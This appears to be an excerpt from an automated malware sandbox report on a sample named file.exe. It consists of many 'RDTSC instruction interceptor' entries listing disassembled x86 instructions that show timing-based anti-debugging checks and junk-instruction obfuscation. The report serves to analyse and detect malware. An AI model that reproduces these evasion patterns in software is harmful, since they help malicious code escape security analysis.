Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50149 second address: 4A5014F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5014F second address: 4A50153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50153 second address: 4A50177 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50177 second address: 4A50189 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50189 second address: 4A5018F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5018F second address: 4A5023A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 mov esi, edx 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FAB248C33F1h 0x0000001c sbb ch, FFFFFFF6h 0x0000001f jmp 00007FAB248C33F1h 0x00000024 popfd 0x00000025 popad 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a jmp 00007FAB248C33F1h 0x0000002f pop eax 0x00000030 jmp 00007FAB248C33EEh 0x00000035 mov eax, dword ptr fs:[00000000h] 0x0000003b jmp 00007FAB248C33F0h 0x00000040 nop 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 pushfd 0x00000045 jmp 00007FAB248C33EDh 0x0000004a xor ah, 00000066h 0x0000004d jmp 00007FAB248C33F1h 0x00000052 popfd 0x00000053 mov di, cx 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5023A second address: 4A50256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB24F20E78h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50256 second address: 4A5025A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5025A second address: 4A50272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov esi, 0B88F413h 0x0000000f mov bl, ch 0x00000011 popad 0x00000012 nop 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50272 second address: 4A50293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FAB248C33EAh 0x0000000a add si, 4298h 0x0000000f jmp 00007FAB248C33EBh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50293 second address: 4A502AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB24F20E74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A502AB second address: 4A50316 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 18h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FAB248C33F4h 0x00000015 or cx, 4758h 0x0000001a jmp 00007FAB248C33EBh 0x0000001f popfd 0x00000020 mov ecx, 72D8340Fh 0x00000025 popad 0x00000026 xchg eax, ebx 0x00000027 jmp 00007FAB248C33F2h 0x0000002c push eax 0x0000002d jmp 00007FAB248C33EBh 0x00000032 xchg eax, ebx 0x00000033 pushad 0x00000034 mov ecx, 12FFF20Bh 0x00000039 push eax 0x0000003a push edx 0x0000003b push esi 0x0000003c pop edi 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50316 second address: 4A50372 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 04E70939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, esi 0x0000000b jmp 00007FAB24F20E74h 0x00000010 push eax 0x00000011 jmp 00007FAB24F20E6Bh 0x00000016 xchg eax, esi 0x00000017 jmp 00007FAB24F20E76h 0x0000001c xchg eax, edi 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FAB24F20E77h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50372 second address: 4A5043B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FAB248C33F1h 0x0000000f xchg eax, edi 0x00000010 jmp 00007FAB248C33EEh 0x00000015 mov eax, dword ptr [75AF4538h] 0x0000001a pushad 0x0000001b mov cl, 3Ch 0x0000001d push edx 0x0000001e mov bx, ax 0x00000021 pop eax 0x00000022 popad 0x00000023 xor dword ptr [ebp-08h], eax 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FAB248C33F7h 0x0000002d sbb ecx, 51AA830Eh 0x00000033 jmp 00007FAB248C33F9h 0x00000038 popfd 0x00000039 popad 0x0000003a xor eax, ebp 0x0000003c pushad 0x0000003d jmp 00007FAB248C33F8h 0x00000042 push eax 0x00000043 push edx 0x00000044 pushfd 0x00000045 jmp 00007FAB248C33F0h 0x0000004a sub eax, 147F6BE8h 0x00000050 jmp 00007FAB248C33EBh 0x00000055 popfd 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5043B second address: 4A50475 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 pushad 0x00000009 mov di, ax 0x0000000c mov bx, si 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007FAB24F20E79h 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FAB24F20E6Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50475 second address: 4A504D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c pushad 0x0000000d mov cx, bx 0x00000010 popad 0x00000011 mov dword ptr fs:[00000000h], eax 0x00000017 jmp 00007FAB248C33F5h 0x0000001c mov dword ptr [ebp-18h], esp 0x0000001f pushad 0x00000020 mov dx, si 0x00000023 mov ax, 5C6Fh 0x00000027 popad 0x00000028 mov eax, dword ptr fs:[00000018h] 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FAB248C33F1h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A504D2 second address: 4A50509 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f jmp 00007FAB24F20E6Eh 0x00000014 test ecx, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov dx, 4910h 0x0000001d mov bx, E63Ch 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50509 second address: 4A50563 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FAB248C343Ah 0x0000000f jmp 00007FAB248C33F0h 0x00000014 add eax, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FAB248C33EDh 0x0000001f or eax, 4EE3E0F6h 0x00000025 jmp 00007FAB248C33F1h 0x0000002a popfd 0x0000002b mov dh, cl 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50563 second address: 4A50569 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50569 second address: 4A5056D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5056D second address: 4A50571 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50571 second address: 4A505B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c push ecx 0x0000000d mov ebx, 3EE32C30h 0x00000012 pop edi 0x00000013 jmp 00007FAB248C33F6h 0x00000018 popad 0x00000019 test ecx, ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FAB248C33F7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40348 second address: 4A40377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FAB24F20E78h 0x0000000a adc si, A908h 0x0000000f jmp 00007FAB24F20E6Bh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40377 second address: 4A403A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAB248C33EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A403A4 second address: 4A403DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FAB24F20E77h 0x00000010 mov edi, ecx 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 mov ecx, 2017007Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A403DE second address: 4A40459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAB248C33F8h 0x0000000b popad 0x0000000c mov ebp, esp 0x0000000e jmp 00007FAB248C33F0h 0x00000013 sub esp, 2Ch 0x00000016 pushad 0x00000017 mov al, 7Bh 0x00000019 pushfd 0x0000001a jmp 00007FAB248C33F3h 0x0000001f sbb cx, 777Eh 0x00000024 jmp 00007FAB248C33F9h 0x00000029 popfd 0x0000002a popad 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FAB248C33EDh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40459 second address: 4A404C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 mov eax, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FAB24F20E70h 0x00000013 add eax, 3B9BACD8h 0x00000019 jmp 00007FAB24F20E6Bh 0x0000001e popfd 0x0000001f mov ecx, 097BE78Fh 0x00000024 popad 0x00000025 popad 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a jmp 00007FAB24F20E6Ah 0x0000002f pushfd 0x00000030 jmp 00007FAB24F20E72h 0x00000035 or esi, 348A1E68h 0x0000003b jmp 00007FAB24F20E6Bh 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A404C4 second address: 4A404CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A404CA second address: 4A40504 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FAB24F20E72h 0x00000015 sbb ecx, 260A1BF8h 0x0000001b jmp 00007FAB24F20E6Bh 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40504 second address: 4A40524 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40524 second address: 4A4053D instructions: 0x00000000 rdtsc 0x00000002 mov di, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ax, dx 0x0000000d mov bx, CB46h 0x00000011 popad 0x00000012 xchg eax, edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4053D second address: 4A40553 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40626 second address: 4A4063F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4063F second address: 4A40643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40643 second address: 4A40649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40649 second address: 4A4064F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4064F second address: 4A40653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40653 second address: 4A406AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc ebx 0x00000009 pushad 0x0000000a popad 0x0000000b test al, al 0x0000000d jmp 00007FAB248C33F7h 0x00000012 je 00007FAB248C354Ah 0x00000018 jmp 00007FAB248C33F6h 0x0000001d lea ecx, dword ptr [ebp-14h] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FAB248C33F7h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40746 second address: 4A4074C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4077A second address: 4A407AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov dx, cx 0x0000000a popad 0x0000000b jg 00007FAB959210EDh 0x00000011 pushad 0x00000012 movzx ecx, dx 0x00000015 push ebx 0x00000016 mov edi, eax 0x00000018 pop esi 0x00000019 popad 0x0000001a js 00007FAB248C342Dh 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FAB248C33EEh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A407AA second address: 4A4084E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b jmp 00007FAB24F20E76h 0x00000010 jne 00007FAB95F7EB36h 0x00000016 jmp 00007FAB24F20E70h 0x0000001b mov ebx, dword ptr [ebp+08h] 0x0000001e pushad 0x0000001f mov di, si 0x00000022 push eax 0x00000023 push edi 0x00000024 pop ecx 0x00000025 pop edx 0x00000026 popad 0x00000027 lea eax, dword ptr [ebp-2Ch] 0x0000002a jmp 00007FAB24F20E70h 0x0000002f xchg eax, esi 0x00000030 jmp 00007FAB24F20E70h 0x00000035 push eax 0x00000036 pushad 0x00000037 mov ebx, 5DAE0784h 0x0000003c mov eax, edx 0x0000003e popad 0x0000003f xchg eax, esi 0x00000040 jmp 00007FAB24F20E6Fh 0x00000045 nop 0x00000046 jmp 00007FAB24F20E76h 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f mov cx, 1003h 0x00000053 movzx eax, di 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4084E second address: 4A40854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40854 second address: 4A40858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4002B second address: 4A40030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40030 second address: 4A4004B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bx, si 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4004B second address: 4A4006D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 66B91EC3h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAB248C33F4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4006D second address: 4A400CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAB24F20E76h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FAB24F20E6Eh 0x00000018 adc eax, 02106F18h 0x0000001e jmp 00007FAB24F20E6Bh 0x00000023 popfd 0x00000024 mov ebx, ecx 0x00000026 popad 0x00000027 xchg eax, ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FAB24F20E71h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400CE second address: 4A400FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov esi, edi 0x0000000d push ebx 0x0000000e mov esi, 6356E0B5h 0x00000013 pop ecx 0x00000014 popad 0x00000015 xchg eax, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FAB248C33ECh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400FE second address: 4A4012B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], 55534552h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAB24F20E75h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40163 second address: 4A40172 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40172 second address: 4A40D3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAB24F20E6Fh 0x00000009 add si, 06BEh 0x0000000e jmp 00007FAB24F20E79h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 ret 0x00000018 nop 0x00000019 and bl, 00000001h 0x0000001c movzx eax, bl 0x0000001f lea esp, dword ptr [ebp-0Ch] 0x00000022 pop esi 0x00000023 pop edi 0x00000024 pop ebx 0x00000025 pop ebp 0x00000026 ret 0x00000027 add esp, 04h 0x0000002a jmp dword ptr [00B1A41Ch+ebx*4] 0x00000031 push edi 0x00000032 call 00007FAB24F46867h 0x00000037 push ebp 0x00000038 push ebx 0x00000039 push edi 0x0000003a push esi 0x0000003b sub esp, 000001D0h 0x00000041 mov dword ptr [esp+000001B4h], 00B1CB10h 0x0000004c mov dword ptr [esp+000001B0h], 000000D0h 0x00000057 mov dword ptr [esp], 00000000h 0x0000005e mov eax, dword ptr [00B181DCh] 0x00000063 call eax 0x00000065 mov edi, edi 0x00000067 jmp 00007FAB24F20E70h 0x0000006c xchg eax, ebp 0x0000006d jmp 00007FAB24F20E70h 0x00000072 push eax 0x00000073 pushad 0x00000074 mov si, dx 0x00000077 mov ebx, 7961F5E0h 0x0000007c popad 0x0000007d xchg eax, ebp 0x0000007e pushad 0x0000007f push eax 0x00000080 push edx 0x00000081 pushad 0x00000082 popad 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40D3F second address: 4A40D8D instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAB248C33F1h 0x00000008 adc ch, FFFFFFE6h 0x0000000b jmp 00007FAB248C33F1h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov ecx, 1D697D17h 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FAB248C33F9h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40D8D second address: 4A40D93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40D93 second address: 4A40DDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AF459Ch], 05h 0x0000000f pushad 0x00000010 mov edi, 3AE44CE8h 0x00000015 mov edx, 7F254F94h 0x0000001a popad 0x0000001b je 00007FAB95911037h 0x00000021 pushad 0x00000022 mov di, FD2Ch 0x00000026 jmp 00007FAB248C33F5h 0x0000002b popad 0x0000002c pop ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FAB248C33EDh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40DDF second address: 4A40DE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40E03 second address: 4A40E80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FF7FC7BFh 0x0000000e jmp 00007FAB248C33EFh 0x00000013 add dword ptr [esp], 762ED469h 0x0000001a pushad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f pushfd 0x00000020 jmp 00007FAB248C33F7h 0x00000025 sub ax, 44FEh 0x0000002a jmp 00007FAB248C33F9h 0x0000002f popfd 0x00000030 popad 0x00000031 call 00007FAB959180E6h 0x00000036 push 75A92B70h 0x0000003b push dword ptr fs:[00000000h] 0x00000042 mov eax, dword ptr [esp+10h] 0x00000046 mov dword ptr [esp+10h], ebp 0x0000004a lea ebp, dword ptr [esp+10h] 0x0000004e sub esp, eax 0x00000050 push ebx 0x00000051 push esi 0x00000052 push edi 0x00000053 mov eax, dword ptr [75AF4538h] 0x00000058 xor dword ptr [ebp-04h], eax 0x0000005b xor eax, ebp 0x0000005d push eax 0x0000005e mov dword ptr [ebp-18h], esp 0x00000061 push dword ptr [ebp-08h] 0x00000064 mov eax, dword ptr [ebp-04h] 0x00000067 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000006e mov dword ptr [ebp-08h], eax 0x00000071 lea eax, dword ptr [ebp-10h] 0x00000074 mov dword ptr fs:[00000000h], eax 0x0000007a ret 0x0000007b push eax 0x0000007c push edx 0x0000007d pushad 0x0000007e mov dh, 1Ah 0x00000080 movzx ecx, bx 0x00000083 popad 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40E80 second address: 4A40E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40E86 second address: 4A40E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40F18 second address: 4A40F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40F1C second address: 4A40F39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40F39 second address: 4A40F75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAB24F20E77h 0x00000009 or cx, 49EEh 0x0000000e jmp 00007FAB24F20E79h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A602E9 second address: 4A6030F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 mov ecx, edx 0x00000009 pop edx 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FAB248C33F5h 0x00000014 pop esi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6030F second address: 4A60315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
